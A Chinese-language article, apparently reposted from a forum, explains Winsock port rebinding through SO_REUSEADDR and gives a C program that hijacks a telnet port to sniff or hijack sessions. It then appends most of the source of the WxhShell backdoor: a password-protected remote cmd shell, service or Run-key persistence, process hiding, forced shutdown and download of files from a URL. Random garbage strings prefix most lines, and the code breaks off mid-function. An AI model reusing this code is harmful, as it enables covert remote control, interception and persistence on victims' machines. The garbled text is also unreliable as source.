在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
-Ez| s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
&vMH
AZd 9x?;;qC"m9 saddr.sin_family = AF_INET;
\aZ(@eF@@Q t^CT^z saddr.sin_addr.s_addr = htonl(INADDR_ANY);
i9!Urq- z)VIbEy bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
[QZ~~(R ^CK)q2K>[ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
!7xp<= }qD.Ek 这意味着什么?意味着可以进行如下的攻击:
q5vs;,_
| 2 !;4mij, 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
hx^a&" S-rqrbr|AT 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
#`p>VXBj! Vw{Ys6q 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
QhGg^h%6 j&Hn`G 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
H~ZSw7!M8 -ufmpq. 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
42wcpSp ^mum5j 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Vd?v"2S(9 .d"+M{I 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
oba*w; ^z^>]Qd #include
Y=rr6/k #include
I)Lb"
#include
-Y[-t; #include
UeICn@)\y DWORD WINAPI ClientThread(LPVOID lpParam);
[*vN`AfE int main()
=P#!>*\ar {
tbPPI)lu WORD wVersionRequested;
=a!6EkX
* DWORD ret;
WsV3>=@f WSADATA wsaData;
*h4m<\^U BOOL val;
KNg5Ptk SOCKADDR_IN saddr;
# 0!IUSa SOCKADDR_IN scaddr;
A pjqSz" int err;
84!4Vz^ SOCKET s;
>Y+KL SOCKET sc;
^<VE5OM int caddsize;
-{*V)J_Co HANDLE mt;
3kQ ^f=Wd DWORD tid;
]= NYvv>H wVersionRequested = MAKEWORD( 2, 2 );
9Bk}g50$# err = WSAStartup( wVersionRequested, &wsaData );
"r
V4[MVxt if ( err != 0 ) {
0tqR wKL printf("error!WSAStartup failed!\n");
BZ<z@DJp return -1;
C%c `@="b }
nTU~M~gky saddr.sin_family = AF_INET;
!5OMAWNU@ JYr7;n'! //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
}AiS83B YhT1P fl saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
nh=Us^xD saddr.sin_port = htons(23);
arLl8G[ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
(<C%5xk {
6h_ k`z printf("error!socket failed!\n");
|<|,RI? return -1;
V3W85_* }
NydW9r:T val = TRUE;
k6-n.Rl01 //SO_REUSEADDR选项就是可以实现端口重绑定的
mF}k}0 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Zax]i,Bx {
-b)zira printf("error!setsockopt failed!\n");
,:(leWeA9 return -1;
?+O|mX}`- }
d95N$n
//如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
(1,#=e+ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
IA`8ie+ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
87(^P3;@ 'B5J.Xe: if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
&&nO]p` {
p\_qHq\;j ret=GetLastError();
(MoTG^MrBY printf("error!bind failed!\n");
'%!M>rY, return -1;
=Xjuz:9D~ }
r)5\3j[P listen(s,2);
A] ?O&m| while(1)
d+2O^of:T {
J8v:a`bX& caddsize = sizeof(scaddr);
h==GdS4 //接受连接请求
M y"!j,Up sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
C9g~l}=$& if(sc!=INVALID_SOCKET)
9T,QWk {
'}`hY1v mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
O4PdN? if(mt==NULL)
:_\!t45 {
E9d i printf("Thread Creat Failed!\n");
quGPk)c break;
LEngZ~sV/ }
01c/;B }
X_({};mz CloseHandle(mt);
<SM&VOiaOz }
Mr NOcx& closesocket(s);
lMzCDx!m WSACleanup();
N"x\YHp return 0;
=@KY A(D }
?3TK7]1V: DWORD WINAPI ClientThread(LPVOID lpParam)
!bV(VRbu {
i)= 89?8 SOCKET ss = (SOCKET)lpParam;
7x7r!rSe, SOCKET sc;
txfwLqx unsigned char buf[4096];
Pv-V7`{ SOCKADDR_IN saddr;
lzy$.H"W long num;
DET!br'z5 DWORD val;
_ K+V?-= DWORD ret;
0HJqsSZ$mW //如果是隐藏端口应用的话,可以在此处加一些判断
F}B/-".^ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
)Kk(P/s saddr.sin_family = AF_INET;
{8Jk=)(md saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
)47j8jL saddr.sin_port = htons(23);
-KwL9J4u if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
ilRm}lU|x {
mf]( 3ZL printf("error!socket failed!\n");
+z jzO]8 return -1;
>_0 i=.\ }
Q"6hD?6. val = 100;
#:vDBP05.m if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
&^3~=$
{
v_ nBh,2 ret = GetLastError();
K!D_PxV return -1;
`/wq3+ ? }
/,!7jF: if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
n#^?X {
6KCCbg/ ret = GetLastError();
&v
auLp return -1;
>.O*gv/_ }
ok>P [
&! if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
`m@] {
#1jtprc printf("error!socket connect failed!\n");
SCh7O} closesocket(sc);
61+pryW%g closesocket(ss);
K*_{Rs0P return -1;
V:(w\'wm }
8`inRfpY while(1)
>0<KkBH {
H7tQ# //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
y800(z //如果是嗅探内容的话,可以再此处进行内容分析和记录
5 <)gCHa //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
43u PH1
) num = recv(ss,buf,4096,0);
-l40)^ E} if(num>0)
dp
UdFuU" send(sc,buf,num,0);
pRiH,:\ else if(num==0)
Xv-1PY':pA break;
UE&C num = recv(sc,buf,4096,0);
pRrqs+IJZ\ if(num>0)
zh{@?k send(ss,buf,num,0);
l)i&ATvCE else if(num==0)
Q/3tg break;
){Ciu[h }
p(H)WD closesocket(ss);
w`.T/ closesocket(sc);
Wlr&g
xZ return 0 ;
XAQ\OX# }
s#+"5&!s r(,= uLc PQU3s$ ==========================================================
`bZ2x@ h+B'_`( 下边附上一个代码,,WXhSHELL
cXOje"5i G. -h=DT] ==========================================================
z<yNG/M1>U 9zoT6QP4 #include "stdafx.h"
-'O Q-5 *l> [`U+ #include <stdio.h>
Z^'?|qFj! #include <string.h>
g+ >=C #include <windows.h>
D0Vyh"ua #include <winsock2.h>
,Lt~u_ lve #include <winsvc.h>
\A'|XdQ #include <urlmon.h>
SE,o7_k'S 6?1s`{yy #pragma comment (lib, "Ws2_32.lib")
i\kTm?BQZ #pragma comment (lib, "urlmon.lib")
d]O_E4X* u%6Irdx #define MAX_USER 100 // 最大客户端连接数
%XEKhy #define BUF_SOCK 200 // sock buffer
E3~,+68U #define KEY_BUFF 255 // 输入 buffer
`y8
?= zuC 58B #define REBOOT 0 // 重启
NLcO{ #define SHUTDOWN 1 // 关机
YMc8Q\*B 1s{ISWm #define DEF_PORT 5000 // 监听端口
j3*M!fM9 1fz*SIjG #define REG_LEN 16 // 注册表键长度
${A5- #define SVC_LEN 80 // NT服务名长度
ioB|*D<U2 l^DINZU@ // 从dll定义API
B#HV20\?v typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
.ocx(_3G typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
! (2-(LgA typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
NoFs-GGGh typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
(NGu9uJs :y=!{J< // wxhshell配置信息
zq,iLoY[R struct WSCFG {
>Y7r\ int ws_port; // 监听端口
H7{Q@D8 char ws_passstr[REG_LEN]; // 口令
mND XzT& int ws_autoins; // 安装标记, 1=yes 0=no
Hze-Ob8 char ws_regname[REG_LEN]; // 注册表键名
iLF^%!:X% char ws_svcname[REG_LEN]; // 服务名
o .l;:
Un char ws_svcdisp[SVC_LEN]; // 服务显示名
m! rwG( char ws_svcdesc[SVC_LEN]; // 服务描述信息
VLf
g[*k char ws_passmsg[SVC_LEN]; // 密码输入提示信息
sCVI 2S!L int ws_downexe; // 下载执行标记, 1=yes 0=no
lkV6qIj char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
%4j&H!y-w; char ws_filenam[SVC_LEN]; // 下载后保存的文件名
/nc~T3j xKY$L* };
cvKV95bn 1s Br.+p // default Wxhshell configuration
Hl4\M]]/& struct WSCFG wscfg={DEF_PORT,
?Q@L-H` "xuhuanlingzhe",
`'uUmyg 1,
}ppVR$7]0 "Wxhshell",
Ej'
7h~ =v "Wxhshell",
*Wzwbwg
"WxhShell Service",
h2"9"*S1 "Wrsky Windows CmdShell Service",
-g:lOht "Please Input Your Password: ",
DKh}Y
!Q=: 1,
L'>s(CR "
http://www.wrsky.com/wxhshell.exe",
1<`9HCm "Wxhshell.exe"
w|=gSC-o };
N6h1|_o 6MuWlCKF8 // 消息定义模块
wuKl-:S;Vs char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
;P3>>DZ char *msg_ws_prompt="\n\r? for help\n\r#>";
2-~a
P char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
x Y| yI> char *msg_ws_ext="\n\rExit.";
x;Gz6| char *msg_ws_end="\n\rQuit.";
IeVLn^?+: char *msg_ws_boot="\n\rReboot...";
JL.5QzA char *msg_ws_poff="\n\rShutdown...";
NjbwGcH%\ char *msg_ws_down="\n\rSave to ";
p"KU7-BfvC wa" uFW char *msg_ws_err="\n\rErr!";
NUMi])HkN char *msg_ws_ok="\n\rOK!";
3@G;'|z WE")xhV6 char ExeFile[MAX_PATH];
)%s +? int nUser = 0;
B#]_8svO HANDLE handles[MAX_USER];
tVunh3- int OsIsNt;
:y\09)CJK Xem 05%, SERVICE_STATUS serviceStatus;
F+Z2U/'a SERVICE_STATUS_HANDLE hServiceStatusHandle;
9UP:J0 ` _vL<h$vD // 函数声明
&Cq{
_M int Install(void);
.!i0_Rv5x int Uninstall(void);
;+
G9- int DownloadFile(char *sURL, SOCKET wsh);
6^sHgYR int Boot(int flag);
NgHpIonC void HideProc(void);
vh
&GIb int GetOsVer(void);
VpSEVd:n int Wxhshell(SOCKET wsl);
CN/IH void TalkWithClient(void *cs);
4YLs^1'TG0 int CmdShell(SOCKET sock);
PPa^o8jd
int StartFromService(void);
+e'X; int StartWxhshell(LPSTR lpCmdLine);
>\ZR*CS R uLvG+ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
a+41Ojv ( VOID WINAPI NTServiceHandler( DWORD fdwControl );
.jU Z 0N{+y}/G // 数据结构和表定义
i&A%"lOI9 SERVICE_TABLE_ENTRY DispatchTable[] =
XvskB[\ {
.|uLt J {wscfg.ws_svcname, NTServiceMain},
5@ foxI {NULL, NULL}
X2gz6|WJ };
^Gq5ig1rxy 8%[HYgd5) // 自我安装
B;!f<"a8 int Install(void)
+yWR#[`n {
RZO5=L9E char svExeFile[MAX_PATH];
6Nt$ZYS HKEY key;
(;}tf~~r strcpy(svExeFile,ExeFile);
H?uukmZl 4\p-TPM // 如果是win9x系统,修改注册表设为自启动
x l0DN{PG if(!OsIsNt) {
aX^+ O, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Pdw#o^Iq^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
4<.O+hS
RegCloseKey(key);
r~8;kcu7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
DZe}y^F RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
5lTD]d RegCloseKey(key);
Q.k
:\m*h return 0;
/s
c.C }
]>Si0% }
i[150g?K }
iCTQ]H3 else {
LmQ/#Gx Z)&D`RCf // 如果是NT以上系统,安装为系统服务
=-~;OH/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
cS|VJWgTZ if (schSCManager!=0)
i-W {
'# z]M SC_HANDLE schService = CreateService
RH(V^09[o (
[;KmT{I9 schSCManager,
st/n"HQ wscfg.ws_svcname,
\dq!q=b\ wscfg.ws_svcdisp,
ug*D52? SERVICE_ALL_ACCESS,
s
/%:dnij SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
n|i"S` SERVICE_AUTO_START,
:EZQ'3X SERVICE_ERROR_NORMAL,
++8_fgM svExeFile,
by86zX NULL,
1$ML #5+, NULL,
mJC3@V
s NULL,
PJgp+u< NULL,
#U=;T]!'$ NULL
\t3qS
eWc/ );
*
OsU Y=; if (schService!=0)
|NrrTN?> {
0xpx(T[ CloseServiceHandle(schService);
}nud CloseServiceHandle(schSCManager);
;GsQR+en strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
/N)5
3!LT strcat(svExeFile,wscfg.ws_svcname);
8LJ{i% if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
!@g)10u RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
1f4bt6[ RegCloseKey(key);
;/LD)$_ return 0;
Cd]/ }
}!)F9r@\ }
8]< f$3. CloseServiceHandle(schSCManager);
0{) $SY }
4vdNMV~ }
'iUg[{'+ feEMg return 1;
0^~\COa }
SwH2$:f &ZJgQ-Pc(m // 自我卸载
^#e~g/ int Uninstall(void)
Veji^-0E {
rt4Z; HKEY key;
Zb''mf\ g4&jo_3:p if(!OsIsNt) {
xh0 xSqDM if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
T_#,
A0 G RegDeleteValue(key,wscfg.ws_regname);
-<N&0F4|* RegCloseKey(key);
K`k'}(vj if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
nWWM2v RegDeleteValue(key,wscfg.ws_regname);
8`v$liH RegCloseKey(key);
uQeu4$k! return 0;
bAF )Bli }
i0pU!`0 }
Tby,J
B^U }
)`HA:: else {
Vhg1/EgUr mBk5+KyT SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
ijUzC>O+q if (schSCManager!=0)
+MUwP(U=w {
xxa} YIe8 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
O}Le]2' if (schService!=0)
w'ybbv{c {
=AOWeLk*G if(DeleteService(schService)!=0) {
Xl%0/o CloseServiceHandle(schService);
IFuZ]CBz CloseServiceHandle(schSCManager);
H:S,\D?%2x return 0;
<@,$hso7: }
lDc;__}Ws CloseServiceHandle(schService);
. (`3JQ2s }
lCb+{OB CloseServiceHandle(schSCManager);
y79qwM. }
c-CYdi@ }
KN[d!}W: 6C-YyI#s# return 1;
8_we:
9A }
(P@Y36j>N or?%-) // 从指定url下载文件
X
K>&$<5{ int DownloadFile(char *sURL, SOCKET wsh)
|3eGz%Sd {
OX hAha`R HRESULT hr;
|)U|:F/{@ char seps[]= "/";
~OFvu}] char *token;
G<qIY&D' char *file;
6s xz_f char myURL[MAX_PATH];
wu~hqd char myFILE[MAX_PATH];
fA^Em)cs2 "="O > strcpy(myURL,sURL);
z,f=}t[.Y token=strtok(myURL,seps);
F $yO while(token!=NULL)
IazkdJX~ {
Vk}49O<K/ file=token;
Z(Q2Ue;}& token=strtok(NULL,seps);
\t.}-u<7{ }
TEVI'%F XutF"9u GetCurrentDirectory(MAX_PATH,myFILE);
e!x6bR9EZ strcat(myFILE, "\\");
{aj/HFLNY strcat(myFILE, file);
%c/^_. send(wsh,myFILE,strlen(myFILE),0);
%:u[MBe , send(wsh,"...",3,0);
$Ua56Y hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
i|$z'HK;+ if(hr==S_OK)
B~gV'(9g return 0;
yTAvF\s$( else
hWEnn=BW return 1;
H{`{)mS $k2)8 #\ }
[*Ju3 dcq#TBo8 // 系统电源模块
Q~,YbZ-7 int Boot(int flag)
hR)2xz {
jBtj+TL8 HANDLE hToken;
UpUp8%fCU TOKEN_PRIVILEGES tkp;
iI?{"}BZ e<=;i" |
if(OsIsNt) {
Z=$T1| OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
QT!5l` LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
jNl/!l7B tkp.PrivilegeCount = 1;
\,xFg w4 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
J !#Zi#8sF AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
)ly
^Ox if(flag==REBOOT) {
g`,AaWlF if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
;Ss$2V'a return 0;
y{=NP }
d#_m.j else {
Vb4;-?s_ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Tj`5L6N;8 return 0;
zQ8!rCkg4 }
S`q%ypy }
" 'tRfB else {
_
Jc2&(; if(flag==REBOOT) {
<n0{7#PDqw if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
hKe30#:v return 0;
T~>#2N-Z }
cvo[s, p else {
I3y9:4 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
FxU'LN<;HY return 0;
v%91k }
=!.mGW-Q} }
{=JF=8@A ! -tz4vjw return 1;
T0e<Slo~C }
ST',4Oph5 $&{IKP)u // win9x进程隐藏模块
80hme+e void HideProc(void)
tL(B pL' {
T1
MY X SgM.B HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
F:T GsV# if ( hKernel != NULL )
>- Bg%J9 {
Z!{UWegun pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
ClUSrSp ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
/9 hR FreeLibrary(hKernel);
k
onoI&kV| }
Vz:_mKA tk?UX7F return;
>)#c\{c
}
vq6%Ey3Gix ygViPz<J // 获取操作系统版本
y\PxR708 int GetOsVer(void)
uHM@h{r {
ujzW|HW^v OSVERSIONINFO winfo;
Y7Gs7 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
NGTe4Crx GetVersionEx(&winfo);
AtHS@p if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
uofLhy! return 1;
f(Hu {c5yV else
+=fKT,-*G! return 0;
i/qTFQst
_ }
JOfV]eCL kW-81 // 客户端句柄模块
FC>d_=V int Wxhshell(SOCKET wsl)
#gv4
{
{NQoS" SOCKET wsh;
49h0^;xlo: struct sockaddr_in client;
ef]B9J~h DWORD myID;
x>3@R0A1: ")`S0n5e while(nUser<MAX_USER)
q-&P=Yk {
6?gi_3g
int nSize=sizeof(client);
uP|FJLY wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
j%tEZ"H if(wsh==INVALID_SOCKET) return 1;
b|?;h21rG ]PS\#I} handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
(_+;R if(handles[nUser]==0)
&8?`< closesocket(wsh);
Spj9H ?m else
kQIw/@WC nUser++;
2p< Aj! }
?2`$3[ET- WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
aiux^V [.cq{6- return 0;
O%JSViPw }
t4K56H.L? C0m\SNR // 关闭 socket
=ApY9` void CloseIt(SOCKET wsh)
Q7a(P {
p:[LnL closesocket(wsh);
DeQDH5X" nUser--;
3%
vis\~^ ExitThread(0);
XB/'u39 }
2P}bG>M U^$E'Q-VK // 客户端请求句柄
-2*>`,Uu void TalkWithClient(void *cs)
;z>p8N {
d"&3Q_2CD uMiyq< SOCKET wsh=(SOCKET)cs;
p\D >z(" char pwd[SVC_LEN];
X;EJ&g/ char cmd[KEY_BUFF];
|]ucHV char chr[1];
)f*Iomp]@ int i,j;
}76.6=~ kk_zVrQ< while (nUser < MAX_USER) {
a%J/0'(d nCaLdj? if(wscfg.ws_passstr) {
o#{#r@,i if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
kL;t8{n //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
p24.bLr //ZeroMemory(pwd,KEY_BUFF);
e'~ Q@_D i=0;
KH}t:m+h while(i<SVC_LEN) {
uPDaq ]A VS`Z_Xn // 设置超时
gCV rC fd_set FdRead;
0wvU?z%WK struct timeval TimeOut;
JDhwN<0R FD_ZERO(&FdRead);
j|4tiv> FD_SET(wsh,&FdRead);
|- OHve4A TimeOut.tv_sec=8;
Xj,j0 TimeOut.tv_usec=0;
e_.~n<= int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
(02g#A` if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
EfSMFPM
Oz>io\P94 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
^!uO(B& pwd
=chr[0]; 2"M_sL
if(chr[0]==0xd || chr[0]==0xa) { t2.juoI(
pwd=0; pqfT\Kb>
break; NG)7G
} k?-S`o%Q
i++; @:gl:mc
} ^[TOZXL`:
*k6$
// 如果是非法用户,关闭 socket (Y;'[.
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P>W8V+l![
} i'HST|!j
uI9lK
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #pa\2d|
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8S= c^_PJ
e7|d=[kW
while(1) { sZm^&h;
4vGbG:x
ZeroMemory(cmd,KEY_BUFF); H%T3Pc
)"~=7)~<^
// 自动支持客户端 telnet标准 Tw}z7U"
j=0; q]l\`/R%u
while(j<KEY_BUFF) { 0 r3N^_}
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8;.` {'r
cmd[j]=chr[0]; P:a*t[+
if(chr[0]==0xa || chr[0]==0xd) { *NjMb{[ZQ
cmd[j]=0; 1gAc,s2
break; z1qUz7
} 05 g?jV
j++; my=~"bw4
} -faw:
~ i'C/[P
// 下载文件 R\
e#$"a5
if(strstr(cmd,"http://")) { 4ioNA/E
send(wsh,msg_ws_down,strlen(msg_ws_down),0); T~|PU{
if(DownloadFile(cmd,wsh)) f>4+,@G
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ds')PIj
else 3H <`Z4;
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0k7"H]J
} q8tug=c
else { {5.?'vMp
!g/_w
switch(cmd[0]) { +}Auk|>Dc
'%$-]~
// 帮助 T/Ez*iQW
case '?': { :n`0)g[(
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b@F_7P%
break; <H_LFrB$W
} s9kTuhoK
// 安装 wEv*1y4
case 'i': { rl41#6
if(Install()) a6 * Y%?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {cX7<7N
else Qvs(Rt3?y
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WT1q15U(=
break; *IVD/9/
} s'2y%E#
// 卸载 &U854
case 'r': { ur`}v|ZY
if(Uninstall()) a1_o.A
send(wsh,msg_ws_err,strlen(msg_ws_err),0); k0=|10bi
else N6f%>3%1|.
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R+x%r&L5F
break; ^$6bs64FSm
} vLD:(qTi
// 显示 wxhshell 所在路径 F^[M
case 'p': { ^M"HSewo
char svExeFile[MAX_PATH]; 5auL<Pq
strcpy(svExeFile,"\n\r"); yqC+P
strcat(svExeFile,ExeFile); ~F=#}6kg_
send(wsh,svExeFile,strlen(svExeFile),0); Q=MCMe
break;
$o{F
} ` 3vN R"
// 重启 Sk!v,gx
case 'b': { ]Oig..LJ
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d+1L5}Jn
if(Boot(REBOOT)) +}`p"<'u
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,2E`:#$
else { Py}!C@e
closesocket(wsh); M55e=
ExitThread(0); %y!
} U3(L.8(sA
break; 8rnb
} lS>=y#i3Xv
// 关机 *yL|}
case 'd': { H@Kl
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zvWO4\
if(Boot(SHUTDOWN)) zS,%msT^A
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^ON-#
else { ]i9H_K
closesocket(wsh); CvgPIrl
ExitThread(0); HFpjNR
} k
QB 1=c
break; *_}IeNc
} LS*{]@8q
// 获取shell =<Zwv\U
case 's': { W ??;4
CmdShell(wsh); 2{jtQlc
closesocket(wsh); iA5*
_tK5
ExitThread(0); S]Yu6FtWiO
break; 9Ba|J"?Y k
} ,APGPE}I[
// 退出 9F-ViDI.
case 'x': { Qu,)wfp~
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); dw=Xjyk?h
CloseIt(wsh); ?w c3+?\J
break; rPrEEWS0)
} iT)2 ?I6!
// 离开 mmh nw(/
case 'q': { Q#d+IIR0gK
send(wsh,msg_ws_end,strlen(msg_ws_end),0); x`/m>~_
closesocket(wsh); vr8J*36{
WSACleanup(); ,3g]=f
exit(1); q(w1VcLZ
break; q[Sp|C6x
} PaU@T! v
} =6L:Ix
} ^D>/wX\u
{H~8'K-
// 提示信息 FRs|!\S=
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uL qpbn
} oj,Vi-T Z
} -wG[>Y
\&l*e
return; xKkVSEup
} KU8Cl>5
;
HR\R
// shell模块句柄 A[wxa
int CmdShell(SOCKET sock) noB}p4
{ K!$\REs
STARTUPINFO si; C {H'
ZeroMemory(&si,sizeof(si)); 3P<Zzt%e T
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^*4(JR
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7J)a "d^e
PROCESS_INFORMATION ProcessInfo; x1 R!
char cmdline[]="cmd"; :&\E\9
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `tUeT[
return 0; ).O\O)K
} #Fb0;H9`
[|P]St-
// 自身启动模式 %te'J G<
int StartFromService(void) ,<Do ^HB/
{ ,vHX>)M|
typedef struct [1[[$ Dr
{ <_FF~lj
DWORD ExitStatus; ;Wp`th!F
DWORD PebBaseAddress; 5p(t")
DWORD AffinityMask; P(W\aLp
DWORD BasePriority; BLYk
<m
ULONG UniqueProcessId; V< 9em7
ULONG InheritedFromUniqueProcessId; O!@KM;
